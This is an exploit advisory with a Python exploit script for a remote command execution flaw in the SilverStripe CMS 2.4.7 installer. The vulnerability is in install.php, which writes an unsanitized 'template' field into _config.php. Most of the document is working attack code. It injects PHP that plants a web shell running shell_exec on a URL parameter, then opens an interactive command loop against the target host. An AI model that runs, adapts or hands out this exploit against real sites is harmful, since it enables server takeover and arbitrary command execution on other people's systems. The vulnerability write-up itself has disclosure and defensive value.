SilverStripe CMS 2.4.7 (install.php) Remote Command Execution

2012-04-27 16:15:03

##############################
# Exploit Title: SilverStripe CMS 2.4.7 (install.php) Remote Command Execution Exploit
# Date: 26 Nisan 2012
# Author: Mehmet INCE
# Twitter: https://twitter.com/#!/mmetince
# Company: Bilgi GüvenliÄ�i Akademisi ( www.bga.com.tr )
# Software Link: http://www.silverstripe.org/assets/downloads/SilverStripe-v2.4.7.tar.gz
# Version: 2.4.7
# Tested on: v2.4.7 with Ubuntu 11.10
# CVE : Could someone can help me about that.
##############################
# First look at install.php on 978 - 993 lines.
#
# if(file_exists('mysite/_config.php')) {
# // Truncate the contents of _config instead of deleting it - we can't re-create it because Windows handles permissions slightly
# // differently to UNIX based filesystems - it takes the permissions from the parent directory instead of retaining them
# $fh = fopen('mysite/_config.php', 'wb');
# fclose($fh);
# }
# $theme = isset($_POST['template']) ? $_POST['template'] : 'blackcandy';
# $locale = isset($_POST['locale']) ? $_POST['locale'] : 'en_US';
# $type = $config['db']['type'];
# $dbConfig = $config['db'][$type];
# if(!$dbConfig) {
# echo "<p style=\"color: red\">Bad config submitted</p><pre>";
# print_r($config);
# echo "</pre>";
# die();
# }
#
# Getting data from user with $_POST['template'] that variable. After that goo 1000. line check that.
#
# $this->writeToFile("mysite/_config.php", <<<PHP
#
# There is starting of write _config.php file. and our $_POST['template'] used to write thata without sanitized.
# So we can put whatever we want to _config.php file. A few little trick i exploit that vulnerabilities
# with that python codes.
#
# Have a nice days.
# Gecmis 23 Nisanimiz kutlu olsun.
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import httplib, urllib, urllib2,sys, getopt

def Menu():
print "\n\n-------------------------------------------------------"
print "-Kullanim Klavuzu [ USAGE ] "
print "-------------------------------------------------------"
print "- Temel Kullanim - I [ Default Usage ] : "
print "- python exo.py www.target.com / \n"
print "- Temel Kullanim - II [ Default Usage ] : "
print "- python exo.py www.target.com /path/ \n"
if (len(sys.argv) <= 2) or (len(sys.argv) > 3):
Menu()
exit(1)
host = sys.argv[1]
path = sys.argv[2]

print " [+] Exploit ediliyor..!"
payload="blackcandy');fwrite(fopen("
payload+='"../shellcik.php","w"), '
payload+="'<?php $gelen"
payload+='=@$_GET["gelen"]; echo shell_exec($gelen);?>'
parametreler = urllib.urlencode({'db[type]':'MySQLDatabase',
'db[MySQLDatabase][server]':'localhost',
'db[MySQLDatabase][username]':'root',
'db[MySQLDatabase][password]':'qwe123',
'db[MySQLDatabase][database]':'SS_mysite',
'db[MSSQLDatabase][server]':'localhost',
'db[MSSQLDatabase][username]':'root',
'db[MSSQLDatabase][password]':'qwe123',
'db[MSSQLDatabase][database]':'SS_mysite',
'db[PostgreSQLDatabase][server]':'localhost',
'db[PostgreSQLDatabase][username]':'root',
'db[PostgreSQLDatabase][password]':'qwe123',
'db[PostgreSQLDatabase][database]':'SS_mysite',
'db[SQLiteDatabase][path]':'/var/www/SilverStripe/assets/.db',
'db[SQLiteDatabase][database]':'SS_mysite',
'admin[username]':'admin',
'admin[password]':'qwe123',
'locale':'en_US',
'template':payload,
'stats':'on',
'go':'Installing SilverStripe...'})
print " [+]Parametreler olusturuldu [ Params Generated For Http Request ]"
basliklar = {"Content-type": "application/x-www-form-urlencoded",
"Accept": "text/plain",
"User-Agent":"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language":"en-us,en;q=0.5",
"Accept-Encoding":"gzip, deflate",
"Connection":"keep-alive",
"Referer":"http://" + host + path+"install.php",
"Cookie":"alc_enc=1%3Aa9dbf14198a8f6bd9dd2d2c3e41e7164fb206d76; PastMember=1; PHPSESSID=0d7k4e661jd96i0u64vij68am3; phpbb3_srzvs_k=; phpbb3_srzvs_u=2; phpbb3_srzvs_sid=ede0a17fc1f375d6a633f291119c92d7; style_cookie=null; PHPSESSID=j7nr6uro3jc5tulodfeoum3u90; fws_cust=mince%232%23d41d8cd98f00b204e9800998ecf8427e"
}
print " [+]Basliklar olusturuldu [ Headers Generated For Http Request ]"
conn = httplib.HTTPConnection("localhost:80")
conn.request("POST",str(path) +"install.php",parametreler,basliklar)
responce = conn.getresponse()
if responce.status != 200:
print "[+]Http Hatası : " + responce.status + "\n"
print "Cant Exploit!:("
if responce.status == 200:
komut=""
while( komut != "exit" ):
komut = urllib.quote_plus(str(raw_input("Shell :) => ")))
print urllib2.urlopen("http://" + host + path+"shellcik.php?gelen="+komut).read()

Fixes

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